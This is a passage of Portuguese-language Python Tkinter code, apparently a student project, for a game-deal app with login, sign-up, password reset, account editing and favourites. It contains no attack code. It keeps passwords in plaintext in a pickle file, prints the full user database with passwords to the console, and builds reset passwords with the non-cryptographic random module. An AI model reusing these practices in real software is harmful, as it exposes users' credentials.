tk.Button(self.core,text=\"Entrar\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = self.Login_command) \r\n self.Login_button.place(x = 250, y = 500)\r\n \r\n self.esqueci_button = tk.Button(self.core,text=\"Esqueci minha senha\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = self.Esqueci_minha_senha) \r\n self.esqueci_button.place(x = 340, y = 580) \r\n \r\n self.Voltar_button = tk.Button(self.core,text=\"Voltar\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = lambda n=100: self.erase_labels(n)) \r\n self.Voltar_button.place(x = 160, y = 580) \r\n\r\n self.Label_error = tk.Label(self.core, font = \"Helvetica\", fg = \"green2\", bg = \"black\") \r\n self.Label_error.place(x = 100, y = 430) \r\n \r\n def Esqueci_minha_senha(self):\r\n \r\n self.Textbox_1.place_forget()\r\n self.Label_nome_1.place_forget()\r\n self.esqueci_button.place_forget()\r\n self.Voltar_button.place_forget()\r\n self.Label_error.place_forget()\r\n self.email.set(\"\")\r\n self.Label_nome_2.configure(text=\"Digite o seu email no campo abaixo para receber um email com a sua nova senha\", font = \"Helvetica 8\", width = 80) \r\n self.Label_nome_2.place(x = 100, y = 132)\r\n self.Textbox_2.configure(textvariable=self.email, font = \"Helvetica 20\", show = \"\")\r\n self.Textbox_2.place(x = 200, y= 250) \r\n self.Login_button.configure(text=\"Mandar email\", height = 3, width = 19, command = self.Checar_email) \r\n self.Login_button.place(x = 250, y = 500)\r\n self.Voltar_button = tk.Button(self.core,text=\"Voltar\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = lambda n=100: self.erase_labels(n)) \r\n self.Voltar_button.place(x = 250, y = 580) \r\n \r\n def Checar_email(self):\r\n \r\n for pessoas in self.meus_cadastros:\r\n if self.meus_cadastros[pessoas][\"email\"] == self.email.get():\r\n first = str(random.randint(0,9))\r\n second = random.choice(string.ascii_letters)\r\n third = str(random.randint(0,9))\r\n fourth = random.choice(string.ascii_letters)\r\n fifth = str(random.randint(0,9))\r\n sixth = str(random.randint(0,9))\r\n seventh = str(random.randint(0,9))\r\n eighth = random.choice(string.ascii_letters)\r\n ninth = random.choice(string.ascii_letters)\r\n self.new_pass = first + second + third + fourth + fifth + sixth + seventh + eighth + ninth\r\n self.Email_gen.reset_senha(self.email.get(), self.new_pass)\r\n self.meus_cadastros[pessoas][\"senha\"] = self.new_pass\r\n self.database = open(\"cadastros.data\", \"wb\")\r\n pickle.dump(self.meus_cadastros,self.database) \r\n self.database.close()\r\n self.Login_screen()\r\n self.Label_error.configure(text=\"Esse email não está vinculado a uma conta.\") \r\n self.Label_error.place(x = 100, y = 430) \r\n \r\n def Login_command(self): \r\n \r\n self.Login_var_temp = self.Login.get()\r\n self.Senha_var_temp = self.Senha.get()\r\n if self.Login_var_temp in self.meus_cadastros:\r\n if self.meus_cadastros.get(self.Login_var_temp)[\"senha\"] == self.Senha_var_temp:\r\n self.Usuario_var_temp = self.meus_cadastros[self.Login_var_temp][\"username\"] \r\n self.Email_var_temp = self.meus_cadastros[self.Login_var_temp][\"email\"] \r\n self.Login_show.set(self.Usuario_var_temp) \r\n self.user_my_acc.set(self.Usuario_var_temp)\r\n self.Senha_t = self.Senha_var_temp\r\n self.var = 3\r\n self.oferta_list = []\r\n while len(self.oferta_list) < 9: \r\n self.oferta_n = random.randint(1,9)\r\n if not self.oferta_n in self.oferta_list:\r\n self.oferta_list.append(self.oferta_n)\r\n self.erase_labels(100)\r\n else:\r\n self.Label_error.configure(text=\"A senha foi digitada incorretamente\") \r\n self.Label_error.place(x = 100, y = 430)\r\n else:\r\n self.Label_error.configure(text=\"O Login não existe, cadastre-se para acessá-lo\") \r\n self.Label_error.place(x = 100, y = 430)\r\n \r\n def Cadastro_label(self): \r\n \r\n self.var = 2 \r\n \r\n self.BG = tk.Label(self.core, bg = \"black\")\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n \r\n self.Label_nome_1 = tk.Label(self.core,text=\"Login:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 4) \r\n self.Label_nome_1.place(x = 110, y = 202) \r\n \r\n self.Textbox_1 = tk.Entry(self.core, textvariable=self.Login,font = \"Helvetica 20\")\r\n self.Textbox_1.place(x = 200, y = 220) \r\n \r\n self.Label_nome_2 = tk.Label(self.core,text=\"Senha:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 5) \r\n self.Label_nome_2.place(x = 110, y = 342) \r\n \r\n self.Textbox_2 = tk.Entry(self.core, textvariable=self.Senha, font = \"Helvetica 20\", show='*')\r\n self.Textbox_2.place(x = 200, y= 360) \r\n\r\n self.Login_button = tk.Button(self.core,text=\"Finalizar o Cadastro\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = self.Cadastro) \r\n self.Login_button.place(x = 250, y = 500)\r\n \r\n self.Voltar_button = tk.Button(self.core,text=\"Voltar\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = lambda n=100: self.erase_labels(n)) \r\n self.Voltar_button.place(x = 250, y = 580)\r\n\r\n self.Label_error = tk.Label(self.core,text=\"O Login não existe, cadastre-se para acessá-lo\", font = \"Helvetica\", fg = \"green2\", bg = \"black\") \r\n \r\n self.user_label = tk.Label(self.core,text=\"Usuário:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 6) \r\n self.user_label.place(x = 100, y = 132) \r\n \r\n self.userTextbox = tk.Entry(self.core, textvariable=self.username, font = \"Helvetica 20\")\r\n self.userTextbox.place(x = 200, y = 150)\r\n \r\n self.email_label = tk.Label(self.core,text=\"E-mail:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 5) \r\n self.email_label.place(x = 110, y = 272) \r\n self.emailTextbox = tk.Entry(self.core, textvariable=self.email, font = \"Helvetica 20\")\r\n self.emailTextbox.place(x = 200, y = 290) \r\n\r\n \r\n def Cadastro(self):\r\n self.Label_error.grid_forget()\r\n self.Login_var_temp = self.Login.get()\r\n self.Senha_var_temp = self.Senha.get()\r\n self.Email_var_temp = self.email.get()\r\n self.Usuario_var_temp = self.username.get()\r\n self.database = open(\"cadastros.data\", \"rb\")\r\n self.meus_cadastros = pickle.load(self.database)\r\n self.database.close()\r\n if self.Login_var_temp in self.meus_cadastros:\r\n self.Label_error.configure(text=\"Este cadastro já está vinculado a uma conta\") \r\n self.Label_error.place(x = 100, y = 430)\r\n\r\n elif self.Login_var_temp == \"\":\r\n if self.Senha_var_temp == \"\":\r\n self.Label_error.configure(text=\"Digite um nome de usuário e uma senha\") \r\n self.Label_error.place(x = 100, y = 430)\r\n else:\r\n self.Label_error.configure(text=\"Digite um nome de usuário\") \r\n self.Label_error.place(x = 100, y = 430)\r\n \r\n elif self.Usuario_var_temp == \"\":\r\n self.Label_error.configure(text=\"Digite um nome de Usuario\") \r\n self.Label_error.place(x = 100, y = 430) \r\n\r\n elif self.Email_var_temp == \"\":\r\n self.Label_error.configure(text=\"Digite um endereço de email\") \r\n self.Label_error.place(x = 100, y = 430) \r\n \r\n elif self.Senha_var_temp == \"\":\r\n self.Label_error.configure(text=\"Digite uma senha\") \r\n self.Label_error.place(x = 100, y = 430) \r\n \r\n elif self.Email_var_temp in self.meus_cadastros:\r\n self.Label_error.configure(text=\"Este endereço de email já está vinculado a uma conta\") \r\n self.Label_error.place(x = 80, y = 430)\r\n \r\n else:\r\n self.Label_error.grid_forget()\r\n self.meus_cadastros[self.Login_var_temp] = {\"senha\": self.Senha_var_temp, \"jogos\" : [], \"email\": self.Email_var_temp, \"username\": self.Usuario_var_temp, \"useravatar\": \"0\"}\r\n self.database = open(\"cadastros.data\", \"wb\")\r\n pickle.dump(self.meus_cadastros,self.database)\r\n print(self.meus_cadastros) \r\n self.database.close()\r\n self.erase_labels(100) \r\n \r\n def erase_labels(self,numero):\r\n \r\n if self.var == 1:\r\n self.BG.grid_forget() \r\n self.Label_nome_1.grid_forget()\r\n self.Label_nome_2.grid_forget() \r\n self.Textbox_1.grid_forget()\r\n self.Textbox_2.grid_forget()\r\n self.Login_button.grid_forget()\r\n self.Label_error.grid_forget()\r\n self.esqueci_button.grid_forget()\r\n self.Login_screen() \r\n \r\n elif self.var == 2:\r\n self.BG.grid_forget() \r\n self.Label_nome_1.grid_forget()\r\n self.Label_nome_2.grid_forget() \r\n self.Textbox_1.grid_forget()\r\n self.Textbox_2.grid_forget()\r\n self.Login_button.grid_forget()\r\n self.Voltar_button.grid_forget()\r\n self.Label_error.grid_forget()\r\n self.user_label.grid_forget()\r\n self.userTextbox.grid_forget()\r\n self.email_label.grid_forget()\r\n self.emailTextbox.grid_forget()\r\n self.Login_screen() \r\n \r\n elif self.var == 3:\r\n \r\n self.BG.grid_forget() \r\n self.Label_nome_1.grid_forget()\r\n self.Label_nome_2.grid_forget() \r\n self.Textbox_1.grid_forget()\r\n self.Textbox_2.grid_forget()\r\n self.Login_button.grid_forget()\r\n self.Sign_in_button.grid_forget()\r\n self.Label_error.grid_forget()\r\n self.loading_screen()\r\n \r\n elif self.var == 4: \r\n \r\n for i in range(0,9): \r\n self.gaming_list[i].place_forget() \r\n self.Games_entry.place_forget()\r\n \r\n elif self.var == 5: \r\n \r\n self.alterar_login.place_forget()\r\n self.alterar_email.place_forget()\r\n self.alterar_senha.place_forget()\r\n self.email_label.place_forget()\r\n self.user_label.place_forget()\r\n self.login_label.place_forget()\r\n self.alterar_usuario.place_forget()\r\n self.salvar_alterações.place_forget()\r\n self.discartar_alterações.place_forget()\r\n self.Login_my_acc.set(self.Login_var_temp)\r\n self.email_show.set(self.Email_var_temp)\r\n self.user_my_acc.set(self.Usuario_var_temp)\r\n \r\n elif self.var == 6: \r\n \r\n self.n_games = len(self.meus_cadastros[self.Login_var_temp][\"jogos\"])\r\n for i in range(self.n_games): \r\n self.favorite_list[i].place_forget()\r\n self.Games_entry.place_forget() \r\n \r\n elif self.var == 7:\r\n \r\n self.Canvas_master.delete(\"all\")\r\n self.poster.place_forget()\r\n self.Melhor_preço.place_forget()\r\n self.FAV.place_forget()\r\n self.plataforma.place_forget()\r\n \r\n elif self.var == 8:\r\n\r\n for i in range(len(self.found_games)): \r\n self.found_games[i].place_forget() \r\n self.Games_entry.place_forget()\r\n \r\n if numero == 0:\r\n self.main_screen()\r\n \r\n elif numero == 1:\r\n self.my_conta()\r\n \r\n elif numero == 2:\r\n self.my_fav() \r\n\r\n elif numero == 3:\r\n self.pesquisa_labels()\r\n \r\n elif numero == 4:\r\n self.Login_screen()\r\n \r\n elif numero >= 5:\r\n if numero < 100: \r\n self.choose_game = numero - 4\r\n self.access_games(self.choose_game) \r\n elif numero == 100:\r\n self.tick = 1\r\n \r\n def loading_screen(self):\r\n \r\n self.hexagon = Image.open(\"Images/Loading_hex.png\") \r\n self.hexagon_load = ImageTk.PhotoImage(self.hexagon)\r\n self.Hex_l = tk.Label(self.core, image = self.hexagon_load)\r\n self.Hex_l.configure(bg = \"black\")\r\n self.Hex_l.grid(row=0, column=0, columnspan=8, rowspan = 16 ,sticky=\"nsew\")\r\n self.angle = 0 \r\n self.core.after(150, self.rotate1, self.angle)\r\n\r\n def rotate1(self, angle): \r\n self.angle += 60 \r\n self.new_hex = ImageTk.PhotoImage(self.hexagon.rotate(self.angle))\r\n self.Hex_l.configure(image = self.new_hex)\r\n self.Hex_l.grid(row=0, column=0, columnspan=8, rowspan = 16 ,sticky=\"nsew\")\r\n self.core.update()\r\n self.count = 0\r\n self.core.after(150, self.rotate2,self.angle,self.new_hex, self.count)\r\n \r\n def rotate2(self, angle, new_hex, count): \r\n self.count += 1 \r\n self.angle += 60 \r\n self.new_hex = ImageTk.PhotoImage(self.hexagon.rotate(self.angle))\r\n self.Hex_l.configure(image = self.new_hex)\r\n self.Hex_l.grid(row=0, column=0, columnspan=8, rowspan = 16 ,sticky=\"nsew\")\r\n if self.count < 10: \r\n self.core.after(100, self.rotate2, self.angle,self.new_hex,self.count)\r\n elif self.count == 10:\r\n self.main_screen()\r\n \r\n def main_screen(self):\r\n \r\n self.Hex_l.destroy()\r\n \r\n self.var = 4\r\n \r\n self.BG = tk.Label(self.core, bg = \"black\", image = self.Main_Menu)\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n\r\n self.main_buttons() \r\n\r\n self.gaming_list = []\r\n \r\n for i in range(0,9):\r\n \r\n self.var_gaming = self.oferta_list[i]\r\n self.var_erasing = self.var_gaming + 4\r\n self.actual = self.all_games.games(self.var_gaming)\r\n self.var_str = \"{0}\".format(self.var_gaming)\r\n self.game_var = tk.Button(self.core, bg = \"black\", height = 100, width = 100 ,image = self.actual[self.var_str][\"button\"], command = lambda n = self.var_erasing: self.erase_labels(n))\r\n self.game_var.place(x = i*140 + 225 - (i//3)*420 , y = (i//3)*120 + 200)\r\n self.gaming_list.append(self.game_var) \r\n \r\n #self.Pesqui_av= tk.Button(self.core, bg = \"black\", fg = \"green2\", text = \"Pesquisa Avançada\" , height = 2, width = 56, command = lambda n=4: self.access_games(n)) \r\n #self.Pesqui_av.place(x = 219, y = 60) \r\n \r\n self.Games_entry = tk.Entry(self.core, width = 30, bg = \"black\", fg= \"green2\", textvariable=self.game_entry ,font = \"Helvetica 18\")\r\n self.Games_entry.bind(\"\", self.pesquisa) \r\n self.Games_entry.place(x = 220, y = 19) \r\n \r\n def pesquisa(self, event): \r\n self.achar_jogos = Pesquisa.pesquisa()\r\n self.name_sliced = (self.game_entry.get()).split()\r\n self.achar_list = self.achar_jogos.find_game(self.name_sliced)\r\n self.erase_labels(3)\r\n \r\n def pesquisa_labels(self):\r\n \r\n self.var = 4\r\n \r\n self.BG = tk.Label(self.core, bg = \"black\", image = self.Pesquisa_show)\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n\r\n self.main_buttons() \r\n \r\n self.found_games = []\r\n \r\n for i in range(len(self.achar_list)):\r\n \r\n self.var_gaming = int(self.achar_list[i])\r\n self.var_erasing = self.var_gaming + 4\r\n self.actual = self.all_games.games(self.var_gaming)\r\n self.var_str = self.achar_list[i]\r\n self.game_var = tk.Button(self.core, bg = \"black\", height = 100, width = 100 ,image = self.actual[self.var_str][\"button\"], command = lambda n = self.var_erasing: self.erase_labels(n))\r\n self.game_var.place(x = i*140 + 225 - (i//3)*420 , y = (i//3)*120 + 200)\r\n self.found_games.append(self.game_var) \r\n \r\n self.Games_entry = tk.Entry(self.core, width = 30, bg = \"black\", fg= \"green2\", textvariable=self.game_entry ,font = \"Helvetica 18\")\r\n self.Games_entry.bind(\"\", self.pesquisa) \r\n self.Games_entry.place(x = 220, y = 19) \r\n \r\n def my_conta(self):\r\n\r\n self.var = 5\r\n self.choice_ind = 0\r\n \r\n self.BG = tk.Label(self.core, bg = \"black\", image = self.minha_conta)\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n \r\n self.database = open(\"cadastros.data\", \"rb\")\r\n self.meus_cadastros = pickle.load(self.database)\r\n self.database.close()\r\n self.email_show.set(self.meus_cadastros[self.Login_var_temp][\"email\"])\r\n self.Login_my_acc.set(self.Login_var_temp)\r\n \r\n self.main_buttons() \r\n \r\n self.alterar_login = tk.Button(self.core, bg = \"black\", image = self.alterar, width = 100, command = lambda n=0: self.alterar_dados(n)) \r\n self.alterar_login.place(x = 509, y = 295)\r\n \r\n self.login_label = tk.Label(self.core, fg = \"green2\", bg = \"black\", textvariable = self.Login_my_acc, width = 15, height = 2) \r\n self.login_label.place(x = 370, y = 295) \r\n \r\n self.email_label = tk.Label(self.core, fg = \"green2\", bg = \"black\", textvariable = self.email_show, width = 20, height = 2) \r\n self.email_label.place(x = 335, y = 350) \r\n \r\n self.user_label = tk.Label(self.core, fg = \"green2\", bg = \"black\", textvariable = self.user_my_acc, width = 15, height = 2) \r\n self.user_label.place(x = 370, y = 405) \r\n \r\n self.alterar_usuario = tk.Button(self.core, bg = \"black\", image = self.alterar, width = 100, command = lambda n=2: self.alterar_dados(n)) \r\n self.alterar_usuario.place(x = 509, y = 405)\r\n \r\n self.alterar_avatar = tk.Button(self.core, bg = \"black\", image = self.avatar_sel, width = 135, height = 120, command = lambda n=4: self.alterar_dados(n)) \r\n self.alterar_avatar.place(x = 345, y = 118) \r\n \r\n self.alterar_email = tk.Button(self.core, bg = \"black\", image = self.alterar, width = 100, command = lambda n=1: self.alterar_dados(n)) \r\n self.alterar_email.place(x = 509, y = 350)\r\n \r\n self.alterar_senha = tk.Button(self.core, bg = \"black\", image = self.alterar_senha_image, width = 120, command = lambda n=3: self.alterar_dados(n)) \r\n self.alterar_senha.place(x = 360, y = 470)\r\n \r\n self.salvar_alterações = tk.Button(self.core, bg = \"black\", fg = \"green2\" , image = self.salvar_alt, width = 150, command = self.salvar_alterações) \r\n self.salvar_alterações.place(x = 345, y = 525)\r\n \r\n self.discartar_alterações = tk.Button(self.core, bg = \"black\", fg = \"green2\" , image = self.discartar_alt, width = 150, command = self.discartar_alterações) \r\n self.discartar_alterações.place(x = 345, y = 574) \r\n \r\n def alterar_dados(self,numero):\r\n\r\n self.alterar_w = tk.Toplevel()\r\n self.alterar_w.title(\"Synchromatic\")\r\n self.alterar_w.geometry(\"400x300\")\r\n self.alterar_w.resizable(height = False, width=False)\r\n self.BG = tk.Label(self.alterar_w, bg = \"black\", width = 300, height = 300)\r\n self.BG.place(x = 0, y = 0) \r\n \r\n if numero == 0:\r\n self.Label_Login = tk.Label(self.alterar_w,text=\"Novo Login\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 10) \r\n self.Label_Login.place(x = 130, y = 30) \r\n self.Insert_Login = tk.Entry(self.alterar_w, textvariable=self.Login, font = \"Helvetica 20\")\r\n self.Insert_Login.place(x = 55, y= 100) \r\n self.alterar_loginn = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = lambda n=0: self.alterar_click(n)) \r\n self.alterar_loginn.place(x = 150, y = 200)\r\n \r\n if numero == 1:\r\n \r\n self.Label_Email = tk.Label(self.alterar_w,text=\"Novo Email\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 10) \r\n self.Label_Email.place(x = 130, y = 30) \r\n self.Insert_Email = tk.Entry(self.alterar_w, textvariable=self.email, font = \"Helvetica 20\")\r\n self.Insert_Email.place(x = 55, y= 100) \r\n self.alterar_emaill = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = lambda n=1: self.alterar_click(n)) \r\n self.alterar_emaill.place(x = 150, y = 200)\r\n \r\n if numero == 2:\r\n self.Label_User = tk.Label(self.alterar_w,text=\"Novo Usuário\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 10) \r\n self.Label_User.place(x = 130, y = 30) \r\n self.Insert_User = tk.Entry(self.alterar_w, textvariable=self.username, font = \"Helvetica 20\")\r\n self.Insert_User.place(x = 55, y= 100) \r\n self.alterar_usuarioo = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = lambda n=2: self.alterar_click(n)) \r\n self.alterar_usuarioo.place(x = 150, y = 200) \r\n \r\n if numero == 3:\r\n self.Label_Senha = tk.Label(self.alterar_w,text=\"Nova Senha\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 10) \r\n self.Label_Senha.place(x = 130, y = 30) \r\n self.Insert_Senha = tk.Entry(self.alterar_w, textvariable=self.Senha, font = \"Helvetica 20\", show='*')\r\n self.Insert_Senha.place(x = 55, y= 100) \r\n self.alterar_senhaa = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = lambda n=3: self.alterar_click(n)) \r\n self.alterar_senhaa.place(x = 150, y = 200) \r\n \r\n if numero == 4:\r\n self.Label_Avatar = tk.Label(self.alterar_w,text=\"Escolha o seu avatar\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 20) \r\n self.Label_Avatar.place(x = 100, y = 15) \r\n \r\n self.alterar_avatar_left = tk.Button(self.alterar_w, bg = \"black\", image = self.left, width = 50, command = lambda n=0: self.cycle_choices(n)) \r\n self.alterar_avatar_left.place(x = 60, y = 150) \r\n\r\n self.alterar_avatar_right = tk.Button(self.alterar_w, bg = \"black\", image = self.right, width = 50, command = lambda n=1: self.cycle_choices(n)) \r\n self.alterar_avatar_right.place(x = 290, y = 150) \r\n \r\n self.alterar_avatar_photo = tk.Label(self.alterar_w, bg = \"black\", image = self.avatar_var[self.choice_ind], width = 100, height = 100) \r\n self.alterar_avatar_photo.place(x = 150, y = 100) \r\n \r\n self.alterar_avatar = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = lambda n=4: self.alterar_click(n)) \r\n self.alterar_avatar.place(x = 150, y = 250) \r\n \r\n def cycle_choices(self,numero): \r\n if numero == 0:\r\n self.choice_ind -= 1\r\n else:\r\n self.choice_ind += 1\r\n \r\n if self.choice_ind < 0:\r\n self.choice_ind += 5\r\n\r\n elif self.choice_ind > 4:\r\n self.choice_ind -= 5 \r\n \r\n self.alterar_avatar_photo.configure(image = self.avatar_var[self.choice_ind]) \r\n \r\n def discartar_alterações(self):\r\n \r\n self.Senha.set(self.meus_cadastros[self.Login_var_temp][\"senha\"])\r\n self.Login_my_acc.set(self.Login_var_temp)\r\n self.email_show.set(self.meus_cadastros[self.Login_var_temp][\"email\"])\r\n self.user_my_acc.set(self.meus_cadastros[self.Login_var_temp][\"username\"])\r\n \r\n def salvar_alterações(self):\r\n \r\n self.alterar_w = tk.Toplevel()\r\n self.alterar_w.title(\"Synchromatic\")\r\n self.alterar_w.geometry(\"400x400\")\r\n self.alterar_w.resizable(height = False, width=False)\r\n self.BG = tk.Label(self.alterar_w, bg = \"black\", width = 300, height = 300)\r\n self.BG.place(x = 0, y = 0) \r\n \r\n self.Rest_User = tk.Label(self.alterar_w,text=\"Digite a sua senha antiga para confirmar as alterações\", font = \"Helvetica 8\", fg = \"green2\", bg = \"black\", height = 3, width = 45) \r\n self.Rest_User.place(x = 70, y = 30) \r\n self.Error_senha = tk.Label(self.alterar_w,text=\"Digite a senha correta\", font = \"Helvetica 8\", fg = \"green2\", bg = \"black\", height = 3, width = 18)\r\n self.Insert_Senha = tk.Entry(self.alterar_w, textvariable=self.Senha_conf, font = \"Helvetica 20\", show='*')\r\n self.Insert_Senha.place(x = 60, y = 100) \r\n self.alterar_tudo = tk.Button(self.alterar_w, bg = \"black\", image = self.alterar, width = 100, command = self.salvar_accept) \r\n self.alterar_tudo.place(x = 150, y = 300) \r\n \r\n def salvar_accept(self): \r\n \r\n self.Senha_check = self.Senha_conf.get()\r\n if self.meus_cadastros.get(self.Login_var_temp)[\"senha\"] == self.Senha_check:\r\n self.jogos_favoritos = self.meus_cadastros.get(self.Login_var_temp)[\"jogos\"] \r\n del self.meus_cadastros[self.Login_var_temp]\r\n self.number_ind = str(self.choice_ind) \r\n self.meus_cadastros[self.Login_my_acc.get()] = {\"senha\": self.Senha_t, \"jogos\" : self.jogos_favoritos, \"email\": self.email_show.get(), \"username\": self.user_my_acc.get(), \"useravatar\": self.number_ind}\r\n self.database = open(\"cadastros.data\", \"wb\")\r\n pickle.dump(self.meus_cadastros,self.database)\r\n print(self.meus_cadastros) \r\n self.database.close()\r\n self.Login_show.set(self.user_my_acc.get()) \r\n self.Login_var_temp = self.Login_my_acc.get()\r\n self.alterar_w.destroy()\r\n self.my_conta()\r\n else:\r\n self.Error_senha.place(x = 150, y = 200)\r\n \r\n def alterar_click(self, numero):\r\n \r\n if numero == 0:\r\n self.Login_temp = self.Login.get()\r\n self.Login_my_acc.set(self.Login_temp)\r\n elif numero == 1:\r\n self.Email_tempp = self.email.get()\r\n self.email_show.set(self.Email_tempp)\r\n elif numero == 2:\r\n self.Uservow = self.username.get() \r\n self.user_my_acc.set(self.Uservow)\r\n elif numero == 3:\r\n self.Senha_t = self.Senha.get()\r\n elif numero == 4:\r\n self.alterar_avatar.configure(image = self.avatar_var[self.choice_ind])\r\n self.alterar_w.destroy() \r\n \r\n def my_fav(self):\r\n \r\n self.var = 6\r\n self.BG = tk.Label(self.core, bg = \"black\", image = self.My_Fav) \r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n self.main_buttons() \r\n #self.Pesqui_av= tk.Button(self.core, bg = \"black\", fg = \"green2\", text = \"Pesquisa Avançada\" , height = 2, width = 56, command = lambda n=4: self.access_games(n)) \r\n #self.Pesqui_av.place(x = 219, y = 60) \r\n self.Games_entry = tk.Entry(self.core, width = 30, bg = \"black\", fg= \"green2\", textvariable=self.game_entry ,font = \"Helvetica 18\")\r\n self.Games_entry.bind(\"\", self.pesquisa) \r\n self.Games_entry.place(x = 220, y = 19) \r\n self.n_games = len(self.meus_cadastros[self.Login_var_temp][\"jogos\"])\r\n self.favorite_list = [] \r\n for i in range(self.n_games): \r\n self.games_var = self.meus_cadastros[self.Login_var_temp][\"jogos\"][i] \r\n self.game_ID = int(self.games_var)\r\n self.actual = self.all_games.games(self.game_ID) \r\n self.var_erasing = self.game_ID + 4\r\n self.game_buttons = tk.Button(self.core, bg = \"black\", height = 100, width = 100 ,image = self.actual[self.games_var][\"button\"], command = lambda n = self.var_erasing: self.erase_labels(n))\r\n self.game_buttons.place(x = i*140 + 225 - (i//3)*420 , y = (i//3)*120 + 200) \r\n self.favorite_list.append(self.game_buttons) \r\n \r\n def favorite_new(self, game_id):\r\n \r\n self.meus_cadastros[self.Login_var_temp][\"jogos\"].append(str(game_id))\r\n self.database = open(\"cadastros.data\", \"wb\")\r\n pickle.dump(self.meus_cadastros,self.database)\r\n print(self.meus_cadastros) \r\n self.database.close()\r\n self.char = str(self.game_ID)\r\n self.email_timer = self.Email_gen.mandar_email(self.Email_var_temp, self.actual[self.char][\"melhor preco link\"])\r\n self.FAV.place_forget()\r\n self.FAV = tk.Button(self.core, bg = \"black\", image = self.fav , height = 50, width = 50, command = lambda n=game_id: self.des_favorite(n)) \r\n self.FAV.place(x = 499, y = 507) \r\n \r\n def des_favorite(self, numero):\r\n \r\n self.meus_cadastros[self.Login_var_temp][\"jogos\"].remove(str(numero))\r\n self.database = open(\"cadastros.data\", \"wb\")\r\n pickle.dump(self.meus_cadastros,self.database)\r\n print(self.meus_cadastros) \r\n self.database.close()\r\n self.FAV.place_forget()\r\n self.FAV = tk.Button(self.core, bg = \"black\", image = self.not_fav , height = 50, width = 50, command = lambda n=numero: self.favorite_new(n)) \r\n self.FAV.place(x = 499, y = 507) \r\n \r\n def main_buttons(self):\r\n \r\n self.choice_ind = int(self.meus_cadastros[self.Login_var_temp][\"useravatar\"]) \r\n self.avatar = tk.Label(self.core, bg = \"black\", image = self.avatar_var[self.choice_ind], height = 85, width = 100) \r\n self.avatar.place(x = 42, y = 7) \r\n self.name_login = tk.Label(self.core, fg = \"green2\", bg = \"black\", textvariable = self.Login_show, width = 12) \r\n self.name_login.place(x = 57, y = 108) \r\n self.My_account = tk.Button(self.core, bg = \"black\", fg = \"green2\" , text= \"Minha Conta\", width = 12, command = lambda n=1: self.erase_labels(n)) \r\n self.My_account.place(x = 50, y = 170) \r\n self.My_Favor = tk.Button(self.core, bg = \"black\", fg = \"green2\" , text= \"Meus Favoritos\", width = 12, command = lambda n=2: self.erase_labels(n)) \r\n self.My_Favor.place(x = 50, y = 200) \r\n self.Menu_Principal = tk.Button(self.core, bg = \"black\", fg = \"green2\" , text= \"Destaques\", width = 12, command = lambda n=0: self.erase_labels(n)) \r\n self.Menu_Principal.place(x = 50, y = 230) \r\n self.Logout = tk.Button(self.core, bg = \"black\", fg = \"green2\" , text= \"Log out\", width = 12, command = lambda n=4: self.erase_labels(n) ) \r\n self.Logout.place(x = 50, y = 260) \r\n \r\n \r\n def access_games(self, numero): \r\n \r\n self.var = 7 \r\n self.BG = tk.Label(self.core, bg = \"black\", image = self.bg_pages_show)\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n self.main_buttons() \r\n \r\n self.actual = self.all_games.games(numero)\r\n \r\n self.Canvas_master= tk.Canvas(self.core, highlightthickness=0, width=464, height=670)\r\n self.Canvas_master.place(x = 186, y = 0)\r\n \r\n self.game_ID = \"{0}\".format(numero) \r\n \r\n self.Canvas_master.create_image(232, 334, image = self.jogos_canvas)\r\n self.Canvas_master.create_text(230, 30, fill = \"green2\", font = \"Engravers 20\", text = self.actual[self.game_ID][\"nome\"])\r\n self.Canvas_master.create_text(235, 587, fill = \"green2\", text = self.actual[self.game_ID][\"melhor preco\"])\r\n self.Canvas_master.create_text(215, 383, fill = \"green2\", text = self.actual[self.game_ID][\"descrição\"])\r\n \r\n self.poster = tk.Label(self.core, bg = \"black\", image = self.actual[self.game_ID][\"poster\"]) \r\n self.poster.place(x = 202, y = 60) \r\n \r\n self.plataforma = tk.Label(self.core, bg = \"black\", fg = \"green2\", image = self.actual[self.game_ID][\"plataforma\"], height = 30, width = 60) \r\n self.plataforma.place(x = 385, y = 544)\r\n \r\n self.Melhor_preço = tk.Button(self.core, bg = \"black\", image = self.actual[self.game_ID][\"melhor preco imagem\"], height = 40, width = 130, command = lambda n= self.game_ID: self.site(self.game_ID))\r\n self.Melhor_preço.place(x = 470, y = 590) \r\n\r\n\r\n if self.game_ID in self.meus_cadastros[self.Login_var_temp][\"jogos\"]:\r\n self.FAV = tk.Button(self.core, bg = \"black\", image = self.fav , height = 50, width = 50, command = lambda n=numero: self.des_favorite(n)) \r\n self.FAV.place(x = 499, y = 507) \r\n else:\r\n self.FAV = tk.Button(self.core, bg = \"black\", image = self.not_fav , height = 50, width = 50, command = lambda n=numero: self.favorite_new(n)) \r\n self.FAV.place(x = 499, y = 507) 